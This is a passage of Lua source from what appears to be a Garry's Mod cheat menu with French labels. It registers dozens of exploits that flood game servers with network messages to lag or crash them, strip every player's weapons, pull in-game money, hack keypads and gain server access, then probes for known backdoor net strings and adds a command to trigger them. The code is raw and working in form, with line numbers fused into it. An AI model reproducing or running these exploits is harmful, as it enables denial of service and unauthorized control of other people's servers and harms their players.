12484addExploit( "279","Crée Des Lags #36", "Exploits Dans Les FG Printers",
12485 function()
12486surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12487 timer.Create("lagger36", 0, 0, function()
12488for i = 1, 1000 do
12489net.Start('fg_printer_money',true)
12490net.WriteEntity(LocalPlayer())
12491net.SendToServer()
12492end
12493end )
12494end )
12495end
12496
12497status = ValidNetString("tickbookpayfine")
12498if (status) then
12499CHATPRINT("Exploit Trouvé : Crée Des Lags #37 [tickbookpayfine]")
12500addExploit( "280","Crée Des Lags #37", "Exploit De Ticket Book",
12501function()
12502surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12503 timer.Create("lagger37", 0, 0, function()
12504for i = 1, 1000 do
12505net.Start("tickbookpayfine",true)
12506net.SendToServer()
12507end
12508end )
12509end )
12510end
12511
12512status = ValidNetString("BeginSpin")
12513if (status) then
12514CHATPRINT("Exploit Trouvé : Crée Des Lags #38 [BeginSpin]")
12515addExploit( "281","Crée Des Lags #38", "Exploits De Blue Unbox",
12516function()
12517surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12518 timer.Create("lagger38", 0, 0, function()
12519for i = 1, 1000 do
12520net.Start("BeginSpin",true)
12521net.SendToServer()
12522end
12523end )
12524end )
12525end
12526
12527status = ValidNetString("DuelRequestClient")
12528if (status) then
12529CHATPRINT("Exploit Trouvé : Crée Des Lags #39 [DuelRequestClient]")
12530addExploit( "282","Crée Des Lags #39", "", function()
12531surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12532 timer.Create("lagger39", 0, 0, function()
12533for i = 1, 1000 do
12534net.Start("DuelRequestClient",true)
12535net.SendToServer()
12536end
12537end )
12538end )
12539end
12540
12541status = ValidNetString("ncpstoredoact")
12542if (status) then
12543CHATPRINT("Exploit Trouvé : Crée Des Lags #40 [ncpstoredoact]")
12544addExploit( "283","Crée Des Lags #40", "", function()
12545surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12546 timer.Create("lagger40", 0, 0, function()
12547for i = 1, 1000 do
12548net.Start("ncpstoredoact",true)
12549net.SendToServer()
12550end
12551end )
12552end )
12553end
12554
12555status = ValidNetString("PermwepsNPCSellWeapon")
12556if (status) then
12557CHATPRINT("Exploit Trouvé : Crée Des Lags #41
12558[PermwepsNPCSellWeapon]")
12559addExploit( "284","Crée Des Lags #41", "", function()
12560surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12561 timer.Create("lagger41", 0, 0, function()
12562for i = 1, 2000 do
12563net.Start("PermwepsNPCSellWeapon",true)
12564net.WriteString("")
12565net.SendToServer()
12566end
12567end )
12568end )
12569end
12570
12571status = ValidNetString("bitcoins_request_withdraw")
12572if (status) then
12573CHATPRINT("Exploit Trouvé : Crée Des Lags #42
12574[bitcoins_request_withdraw]")
12575addExploit( "285","Crée Des Lags #42", "", function()
12576surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12577 timer.Create("lagger42", 0, 0, function()
12578for i = 1, 2000 do
12579net.Start("bitcoins_request_withdraw",true)
12580net.SendToServer()
12581end
12582end )
12583end )
12584end
12585
12586status = ValidNetString("bitcoins_request_turn_on")
12587if (status) then
12588CHATPRINT("Exploit Trouvé : Activé Tout Les Mineurs De Bitcoins
12589[bitcoins_request_turn_on]")
12590addExploit( "286","Activé Tout Les Mineurs De Bitcoins", "", function()
12591surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12592 --("Démarré")
12593for k, v in pairs(ents.GetAll()) do
12594if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
12595net.Start("bitcoins_request_turn_on")
12596net.WriteEntity(v)
12597net.SendToServer()
12598end
12599end
12600end)
12601end
12602
12603status = ValidNetString("bitcoins_request_turn_off")
12604if (status) then
12605CHATPRINT("Exploit Trouvé : Désactiver Tout Les Mineurs De Bitcoins
12606[bitcoins_request_turn_off]")
12607addExploit( "287","Désactiver Tout Les Mineurs De Bitcoins", "",
12608function()
12609surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12610 --("Démarré")
12611for k, v in pairs(ents.GetAll()) do
12612if v:GetModel() == "models/props_c17/consolebox01a.mdl" then
12613net.Start("bitcoins_request_turn_off")
12614net.WriteEntity(v)
12615net.SendToServer()
12616end
12617end
12618end)
12619end
12620
12621status = ValidNetString("NET_AM_MakePotion")
12622if (status) then
12623CHATPRINT("Exploit Trouvé : Crée Des Lags #43 [NET_AM_MakePotion]")
12624addExploit( "288","Crée Des Lags #43", "", function()
12625surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12626 --("Démarré")
12627timer.Create("lagger43", 0, 0, function()
12628for i = 1, 2000 do
12629net.Start('NET_AM_MakePotion',true)
12630net.WriteEntity(LocalPlayer())
12631net.WriteInt(9999999999999999999999999999999999999999999999999999999999,
12632 8)
12633net.SendToServer()
12634end
12635end )
12636end )
12637end
12638
12639status = ValidNetString("minigun_drones_switch")
12640if (status) then
12641CHATPRINT("Exploit Trouvé : Crée Des Lags #44
12642[minigun_drones_switch]")
12643addExploit( "289","Crée Des Lags #44", "", function()
12644surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12645 --("Démarré")
12646timer.Create("lagger44", 0.2, 0, function()
12647for i=1,2200 do
12648net.Start("minigun_drones_switch",true)
12649net.SendToServer()
12650end
12651end )
12652end )
12653end
12654
12655status = ValidNetString("CW20_PRESET_LOAD")
12656if (status) then
12657CHATPRINT("Exploit Trouvé : Crée Des Lags #45 (AVEC DES ARMES CW2 DANS
12658 LES MAINS) [CW20_PRESET_LOAD]")
12659addExploit( "290","Crée Des Lags #45", "(AVEC DES ARMES CW2 DANS LES
12660MAINS)", function()
12661surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12662 --("Démarré")
12663timer.Create("lagger45", 0.2, 0, function()
12664if(LocalPlayer():GetActiveWeapon():GetClass():find("cw"))then
12665for i=1,2200 do
12666net.Start("CW20_PRESET_LOAD",true)
12667net.SendToServer()
12668end
12669end
12670end )
12671end )
12672end
12673
12674status = ValidNetString("SBP_addtime")
12675if (status) then
12676CHATPRINT("Exploit Trouvé : Crée Des Lags #46 [SBP_addtime]")
12677addExploit( "291","Crée Des Lags #46", "", function()
12678surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12679 --("Démarré")
12680timer.Create("lagger46", 0.3, 0, function()
12681for i=1,2200 do
12682net.Start("SBP_addtime",true)
12683net.SendToServer()
12684end
12685end )
12686end )
12687end
12688
12689status = ValidNetString("NetData")
12690if (status) then
12691CHATPRINT("Exploit Trouvé : Vêtement Bruyant [NetData]")
12692addExploit( "292","Outfit player nouser", "Entend Les Joueurs Près De
12693Toi", function()
12694surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12695 --("Démarré")
12696for k, v in pairs(player.GetAll()) do
12697net.Start("NetData")
12698net.WriteString("OF")
12699net.WriteUInt(4,8)
12700net.WriteData(math.random(100000,9999999)..",sis.mdl",30)
12701net.SendToServer()
12702end
12703end )
12704end
12705
12706status = ValidNetString("SBP_addtime")
12707if (status) then
12708CHATPRINT("Exploit Trouvé : Booster Son XP [SBP_addtime]")
12709addExploit( "293","Booster Son XP", "", function()
12710inputFrameExists = true
12711inputFrame = vgui.Create( "DFrame" )
12712inputFrame:SetTitle("Enter the number")
12713inputFrame:SetSize( 400, 75 )
12714inputFrame:SetPos(ScrW() / 2 - inputFrame:GetWide() / 2, ScrH() / 2 +
12715230 )
12716inputFrame:SetDraggable(true)
12717inputFrame:ShowCloseButton(true)
12718inputFrame:MakePopup()
12719inputFrame.Paint = function( self, w, h )
12720draw.RoundedBox( 5, 0, 0, w, h, Color(30, 30, 30))
12721end
12722local TextEntry = vgui.Create( "DTextEntry", inputFrame )
12723TextEntry:SetSize( 380, 30 )
12724TextEntry:SetPos( inputFrame:GetWide() / 2 - TextEntry:GetWide() / 2,
12725inputFrame:GetTall() / 2 - TextEntry:GetTall() / 2 )
12726TextEntry:SetText( "100" )
12727TextEntry.OnEnter = function( self )
12728surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12729 timer.Create("ofn", 0.2, 0, function()
12730for i=1,tonumber(self:GetText()) do
12731net.Start("SBP_addtime")
12732net.SendToServer()
12733end
12734inputFrame:SetVisible(false)
12735end )
12736end
12737end )
12738end
12739
12740status = ValidNetString("StackGhost")
12741if (status) then
12742CHATPRINT("Exploit Trouvé : Booter 24000 #1")
12743addExploit("294", "Booter 24000 #1", "Devient aussi puissant que freezer
12744 et adrien", function()
12745surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12746 --("Démarré")
12747if !(timer.Exists("Booteur24000")) then
12748timer.Create("Booteur24000", 0.02, 0, function()
12749for i = 1, 2000 do
12750net.Start("StackGhost", true)
12751net.WriteInt(69, 32)
12752net.SendToServer()
12753end
12754end)
12755else
12756timer.Stop("Booteur24000")
12757end
12758end)
12759end
12760
12761status = ValidNetString("pac_submit")
12762if (status) then
12763CHATPRINT("Exploit Trouvé: Booter 24000 #2")
12764addExploit("295", "Booter 24000 #2", "Devient aussi puissant que freezer
12765 et adrien", function()
12766surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12767 --("Démarré")
12768timer.Create("Booteur240002", 0.02, 0, function()
12769for i = 1, 1000 do
12770net.Start("pac_submit")
12771net.SendToServer()
12772end
12773end)
12774end)
12775end
12776
12777status = ValidNetString("RequestMAPSize")
12778if (status) then
12779CHATPRINT("Exploit Trouvé : 1tap Le Serveur [MapSize]")
12780addExploit("296", "1tap Le Serveur [MapSize]", "One shoot un serveur",
12781function()
12782surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12783 --("Démarré")
12784timer.Create("lagger10", 0, 0, function()
12785for i = 1, 400 do
12786net.Start("RequestMAPSize")
12787net.SendToServer()
12788end
12789end)
12790end)
12791end
12792
12793status = ValidNetString("properties")
12794if (status) then
12795CHATPRINT("Exploit Trouvé : El Famoso Exploit Strip - 99% FIX")
12796addExploit("297", "Strip Weapon", "Strip weapon tout les joueurs",
12797function()
12798surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12799 --("Démarré")
12800for k, v in pairs(player.GetAll()) do
12801if v:IsPlayer() then
12802for k, v in pairs(v:GetWeapons()) do
12803net.Start("properties")
12804net.WriteString("remove", 32)
12805net.WriteEntity(v)
12806net.SendToServer()
12807end
12808end
12809end
12810end)
12811end
12812
12813status = ValidNetString("start_wd_emp")
12814if (status) then
12815CHATPRINT("Exploit Trouvé : Hack Keypad Instantanné")
12816addExploit("298", "Hack Keypad Instantanné", "Plus rapide que les
12817nouilles instantanné", function()
12818surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12819 --("Démarré")
12820net.Start('start_wd_emp')
12821net.SendToServer()
12822end)
12823end
12824
12825status = ValidNetString("pac.net.TouchFlexes.ClientNotify")
12826if (status) then
12827CHATPRINT("Exploit Trouvé : Faire Crash Le Serveur")
12828addExploit("299", "Faire Crash Le Serveur", "Plutôt Puissant :^)",
12829function()
12830surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12831 --("Démarré")
12832timer.Create("crasher2", 0, 0, function()
12833for i = 1, 400 do
12834net.Start("pac.net.TouchFlexes.ClientNotify")
12835net.WriteInt(9999999999999999999999999999999999999999999999999999999999999999999999,
12836 13)
12837net.SendToServer()
12838end
12839end)
12840end)
12841end
12842
12843status = ValidNetString("ItemStoreDrop")
12844if (status) then
12845CHATPRINT("Exploit Trouvé : Crée Des Lags Item Store")
12846addExploit("300", "Crée Des Lags Item Store", "Item store leak c'est
12847pas cool :/", function()
12848surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12849 --("Démarré")
12850timer.Create("booteur24000items", 0, 0, function()
12851for i = 1, 1000 do
12852net.Start("ItemStoreDrop")
12853net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,
12854 32)
12855net.WriteUInt(9999999999999999999999999999999999999999999999999999999999,
12856 32)
12857net.SendToServer()
12858end
12859end)
12860end)
12861end
12862
12863status = ValidNetString("TFA_Attachment_RequestAll")
12864if (status) then
12865CHATPRINT("Exploit Trouvé : Lags Avec Des Armes TFA")
12866addExploit("301", "Lags Avec Des Armes TFA", "Oublie pas de porter du
12867TFA", function()
12868surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12869 --("Démarré")
12870timer.Create("lagger20", 0.02, 0, function()
12871for i = 1, 4400 do
12872net.Start("TFA_Attachment_RequestAll", true)
12873net.SendToServer()
12874end
12875end)
12876end)
12877end
12878
12879status = ValidNetString("ts_buytitle")
12880if (status) then
12881CHATPRINT("Exploit Trouvé : Crée Des Lags #47 [ts_buytitle]")
12882addExploit("302", "Crée Des Lags #47", "Title Store c'est pas ouf",
12883function()
12884surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12885 --("Démarré")
12886timer.Create("lagger47", 0, 0, function()
12887for i = 1, 1000 do
12888net.Start("ts_buytitle", true)
12889net.WriteTable({})
12890net.WriteTable({})
12891net.WriteTable({})
12892net.SendToServer()
12893end
12894end)
12895end)
12896end
12897
12898
12899status = ValidNetString("disaster_enable")
12900if (status) then
12901CHATPRINT("Exploit Trouvé : Recevoir Les Easter Eggs 88")
12902addExploit( "303","Recevoir Les Easter Eggs 88", "", function()
12903surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12904 RunConsoleCommand("say", "izi")
12905RunConsoleCommand("88Zilnix")
12906net.Start("disaster_enable")
12907net.SendToServer()
12908--("Vous avez reçu les easter eggs 88 :D")
12909end)
12910end
12911
12912status = ValidNetString("EnterpriseWithdraw")
12913if (status) then
12914CHATPRINT("Exploit Trouvé : Entreprise Trouvé! [EnterpriseWithdraw]")
12915addExploit( "304","Entreprise Trouvé!", "Exploit Du R8 (Soit disant
12916l'un des meilleurs)", function()
12917surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12918 --("Démarré")
12919net.Start("EnterpriseWithdraw")
12920net.WriteInt(100, 32)
12921net.SendToServer()
12922end )
12923end
12924
12925status = ValidNetString("SetPermaKnife")
12926if (status) then
12927CHATPRINT("Exploit Trouvé : Couteau Permanent / Full Accès Serveur
12928[SetPermaKnife]")
12929addExploit( "305","Couteau Permanent", "Reçois Un Couteau Permanent Ou
12930Un Accès A Tout Sur Le Serveur Avec La Commande gibe_weapon",
12931function()
12932surface.PlaySound( "mat/pityclick.wav" ) NOTIFICATION("Exploit lançé")
12933 function permaknifepls(ply,cmd,args,argStr)
12934local ply = LocalPlayer()
12935net.Start( "SetPermaKnife" )
12936net.WriteString( string.TrimRight(argStr,".lua") )
12937net.SendToServer()
12938end
12939concommand.Add("gibe_weapon",permaknifepls)
12940end )
12941end
12942
12943print(
12944"\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n"
12945 )
12946print( "Exploits check" )
12947print( "Check terminé" )
12948
12949else
12950local TextHomeza = vgui.Create( "DPanel", Exploits )
12951TextHomeza:SetSize(1000,650)
12952TextHomeza.Paint = function( self, w, h )
12953draw.SimpleText("SNTE détecté. Risque de ban", "pity_home3", 330, 235,
12954 Color(255, 74, 74,255), 0, 1)
12955draw.SimpleText("Exploits désactivés", "pity_home2", 440, 265,
12956Color(255, 255, 255,200), 0, 1)
12957end
12958end
12959end
12960
12961function BD.QuickFireBackdoor()
12962
12963if !BD.BDMacros[selectedbackdoor] or selectedbackdoor == "" then
12964NOTIFICATIONNO("Veuillez séléctionner une backdoor présente") return
12965end
12966
12967if BD.BDMacros[selectedbackdoor].Type == ( 1 or 3 ) then
12968BD.FormatCodeGlobal() else BD.FormatCodeTargeted() end
12969
12970end
12971
12972concommand.Add("runbd", BD.QuickFireBackdoor)
12973
12974/*==========================
12975|==== Los Famosos Local ====|
12976==========================*/
12977
12978local givemeid = LocalPlayer():SteamID()
12979local ply = LocalPlayer()
12980local asphyxnet = "";
12981local n = net
12982local nr = n.Receive
12983local s = n.ReadString
12984local NBRBackdoor = 0
12985local selectedplayers = {}
12986local selectedbackdoor = ""
12987
12988
12989
12990/*=======================
12991|==== Check Netstring ===|
12992========================*/
12993
12994concommand.Add("asnet", function()
12995local netstrings = {}
12996for i = 1, 9999 do
12997local asnet = util.NetworkIDToString( i )
12998if asnet then MsgC
12999(Color(math.random(1,25),math.random(1,25),math.random(1,25)),
13000"[NetString Détécté] : "..i.." = ") MsgC
13001(Color(math.random(254,255),math.random(254,255),math.random(254,255)),""..asnet.."
13002 \n" ) else break end
13003end
13004end)
13005
13006
13007
13008/*=======================
13009|===== MOTDGD KILL =====|
13010========================*/
13011
13012if(istable(MOTDgd))then
13013MOTDgd = {}
13014function MOTDgd.Show() end
13015function MOTDgd.GetIfSkip() return true end
13016print "pas de pub"
13017end
13018
13019
13020
13021
13022
13023local backdoorScrollPanel = vgui.Create( "DScrollPanel", netcmd )
13024backdoorScrollPanel:Dock( FILL )
13025
13026local triggeringbd = "";
13027
13028function triggeringnetcall( str )
13029local status, error = pcall( net.Start, str )
13030return status
13031end
13032
13033if( triggeringnetcall("Ulx_Error_88") ) then
13034triggeringbd = "Mining"
13035chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13036Backdoor Trouvé : "..triggeringbd )
13037else
13038end
13039
13040if( triggeringnetcall("FAdmin_Notification_Receiver") ) then
13041triggeringbd = "Crero"
13042chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13043Backdoor Trouvé : "..triggeringbd )
13044else
13045end
13046
13047if( triggeringnetcall("DarkRP_ReceiveData") ) then
13048triggeringbd = "FAdmin"
13049chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13050Backdoor Trouvé : "..triggeringbd )
13051else
13052end
13053
13054if( triggeringnetcall("fijiconn") ) then
13055triggeringbd = "Pitybd"
13056chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13057Backdoor Trouvé : "..triggeringbd )
13058else
13059end
13060
13061if( triggeringnetcall("Weapon_88") ) then
13062triggeringbd = "Weapon"
13063chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13064Backdoor Trouvé : "..triggeringbd )
13065else
13066end
13067
13068if( triggeringnetcall("nostrip") ) then
13069triggeringbd = "Nostrip"
13070chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13071Backdoor Trouvé : "..triggeringbd )
13072else
13073end
13074
13075if( triggeringnetcall("SessionBackdoor") ) then
13076triggeringbd = "Session"
13077chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13078Backdoor Trouvé : "..triggeringbd )
13079else
13080end
13081
13082if( triggeringnetcall("DarkRP_AdminWeapons") ) then
13083triggeringbd = "DarkRP_n"
13084chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13085Backdoor Trouvé : "..triggeringbd )
13086else
13087end
13088
13089if( triggeringnetcall("thefrenchenculer") ) then
13090triggeringbd = "frenculer"
13091chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13092Backdoor Trouvé : "..triggeringbd )
13093else
13094end
13095
13096
13097if( triggeringnetcall("Fix_Keypads") ) then
13098triggeringbd = "Fix_Keypads"
13099chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13100Backdoor Trouvé : "..triggeringbd )
13101else
13102end
13103
13104if( triggeringnetcall("_CAC_ReadMemory") ) then
13105triggeringbd = "CAC"
13106chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13107Backdoor Trouvé : "..triggeringbd )
13108else
13109end
13110
13111if( triggeringnetcall("Remove_Exploiters") ) then
13112triggeringbd = "Exploiters"
13113chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13114Backdoor Trouvé : "..triggeringbd )
13115else
13116end
13117
13118if( triggeringnetcall("MoonMan") ) then
13119triggeringbd = "MoonMan"
13120chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13121Backdoor Trouvé : "..triggeringbd )
13122else
13123end
13124
13125if( triggeringnetcall("disablebackdoor") ) then
13126triggeringbd = "disableb"
13127chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13128Backdoor Trouvé : "..triggeringbd )
13129else
13130end
13131
13132if( triggeringnetcall("Sbox_itemstore") ) then
13133triggeringbd = "Sbox"
13134chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13135Backdoor Trouvé : "..triggeringbd )
13136else
13137end
13138
13139if( triggeringnetcall("Sbox_darkrp") ) then
13140triggeringbd = "Sbox2"
13141chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13142Backdoor Trouvé : "..triggeringbd )
13143else
13144end
13145
13146if( triggeringnetcall("R8") ) then
13147triggeringbd = "R8"
13148chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13149Backdoor Trouvé : "..triggeringbd )
13150else
13151end
13152
13153if( triggeringnetcall("c") ) then
13154triggeringbd = "c"
13155chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13156Backdoor Trouvé : "..triggeringbd )
13157else
13158end
13159
13160if( triggeringnetcall("_cac_") ) then
13161triggeringbd = "_cac_"
13162chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13163Backdoor Trouvé : "..triggeringbd )
13164else
13165end
13166
13167if( triggeringnetcall("_Defqon") ) then
13168triggeringbd = "_Defqon"
13169chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13170Backdoor Trouvé : "..triggeringbd )
13171else
13172end
13173
13174if( triggeringnetcall("noclipcloakaesp_chat_text") ) then
13175triggeringbd = "nck"
13176chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13177Backdoor Trouvé : "..triggeringbd )
13178else
13179end
13180
13181if( triggeringnetcall("Sandbox_ArmDupe") ) then
13182triggeringbd = "ArmDupe"
13183chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 81, 96, 255 ),"
13184Backdoor Trouvé : "..triggeringbd )
13185else
13186end
13187
13188if( triggeringnetcall("ITEM") ) then
13189triggeringbd = "ITEM (non-compatible)"
13190chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13191Backdoor Trouvé : "..triggeringbd )else
13192
13193end
13194
13195if( triggeringnetcall("fix") ) then
13196triggeringbd = "fix (non-compatible)"
13197chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13198Backdoor Trouvé : "..triggeringbd )else
13199
13200end
13201
13202if( triggeringnetcall("ULX_QUERY2") ) then
13203triggeringbd = "ULX_QUERY2 (non-compatible)"
13204chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13205Backdoor Trouvé : "..triggeringbd )else
13206
13207end
13208
13209if( triggeringnetcall("Sandbox_GayParty") ) then
13210triggeringbd = "Sandbox_GayParty (non-compatible)"
13211chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13212Backdoor Trouvé : "..triggeringbd )else
13213
13214end
13215
13216if( triggeringnetcall("_CAC_G") ) then
13217triggeringbd = "_CAC_G (non-compatible)"
13218chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13219Backdoor Trouvé : "..triggeringbd )else
13220
13221end
13222
13223if( triggeringnetcall("fellosnake") ) then
13224triggeringbd = "fellosnake (non-compatible)"
13225chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13226Backdoor Trouvé : "..triggeringbd )else
13227
13228end
13229
13230if( triggeringnetcall("stoppk") ) then
13231triggeringbd = "stoppk (non-compatible)"
13232chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13233Backdoor Trouvé : "..triggeringbd )else
13234
13235end
13236
13237if( triggeringnetcall("changename") ) then
13238triggeringbd = "changename (non-compatible)"
13239chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13240Backdoor Trouvé : "..triggeringbd )else
13241
13242end
13243
13244if( triggeringnetcall("Sbox_Message") ) then
13245triggeringbd = "Sbox_Message (non-compatible)"
13246chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13247Backdoor Trouvé : "..triggeringbd )else
13248
13249end
13250
13251if( triggeringnetcall("Sbox_gm_attackofnullday_key") ) then
13252triggeringbd = "Sbox_gm_attackofnullday_key (non-compatible)"
13253chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13254Backdoor Trouvé : "..triggeringbd )else
13255
13256end
13257
13258if( triggeringnetcall("m9k_explosionradius") ) then
13259triggeringbd = "m9k_explosionradius (non-compatible)"
13260chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13261Backdoor Trouvé : "..triggeringbd )else
13262
13263end
13264
13265if( triggeringnetcall("m9k_explosive") ) then
13266triggeringbd = "m9k_explosive (non-compatible)"
13267chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13268Backdoor Trouvé : "..triggeringbd )else
13269
13270end
13271
13272if( triggeringnetcall("arivia") ) then
13273triggeringbd = "arivia (non-compatible)"
13274chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13275Backdoor Trouvé : "..triggeringbd )else
13276
13277end
13278
13279if( triggeringnetcall("_Warns") ) then
13280triggeringbd = "_Warns (non-compatible)"
13281chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13282Backdoor Trouvé : "..triggeringbd )else
13283
13284end
13285
13286if( triggeringnetcall("pjHabrp9EY") ) then
13287triggeringbd = "pjHabrp9EY (non-compatible)"
13288chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13289Backdoor Trouvé : "..triggeringbd )else
13290end
13291
13292if( triggeringnetcall("_Raze") ) then
13293triggeringbd = "_Raze (non-compatible)"
13294chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13295Backdoor Trouvé : "..triggeringbd )else
13296
13297end
13298
13299if( triggeringnetcall("Þ� ?D)◘") ) then
13300triggeringbd = "Þ� ?D)◘ (non-compatible)"
13301chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13302Backdoor Trouvé : "..triggeringbd )else
13303
13304end
13305
13306if( triggeringnetcall("PlayerItemPickUp") ) then
13307triggeringbd = "PlayerItemPickUp (non-compatible)"
13308chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13309Backdoor Trouvé : "..triggeringbd )else
13310
13311end
13312
13313if( triggeringnetcall("echangeinfo") ) then
13314triggeringbd = "echangeinfo (non-compatible)"
13315chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13316Backdoor Trouvé : "..triggeringbd )else
13317
13318end
13319
13320if( triggeringnetcall("fourhead") ) then
13321triggeringbd = "fourhead (non-compatible)"
13322chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13323Backdoor Trouvé : "..triggeringbd )else
13324
13325end
13326
13327if( triggeringnetcall("DefqonBackdoor") ) then
13328triggeringbd = "DefqonBackdoor (non-compatible)"
13329chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13330Backdoor Trouvé : "..triggeringbd )else
13331
13332end
13333
13334if( triggeringnetcall("xenoexistscl") ) then
13335triggeringbd = "xenoexistscl (non-compatible)"
13336chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13337Backdoor Trouvé : "..triggeringbd )else
13338
13339end
13340
13341if( triggeringnetcall("cvaraccess") ) then
13342triggeringbd = "cvaraccess (non-compatible)"
13343chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13344Backdoor Trouvé : "..triggeringbd )else
13345
13346end
13347
13348if( triggeringnetcall("NoNerks") ) then
13349triggeringbd = "NoNerks (non-compatible)"
13350chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13351Backdoor Trouvé : "..triggeringbd )else
13352
13353end
13354
13355if( triggeringnetcall("cucked") ) then
13356triggeringbd = "cucked (non-compatible)"
13357chat.AddText( Color( 0, 0, 0 ), "[Pity]", Color( 255, 74, 74 ),"
13358Backdoor Trouvé : "..triggeringbd )else
13359
13360end
13361
13362if( triggeringnetcall("OldNetReadData") ) then
13363triggeringbd = "OldNetReadData (non-compatible)"
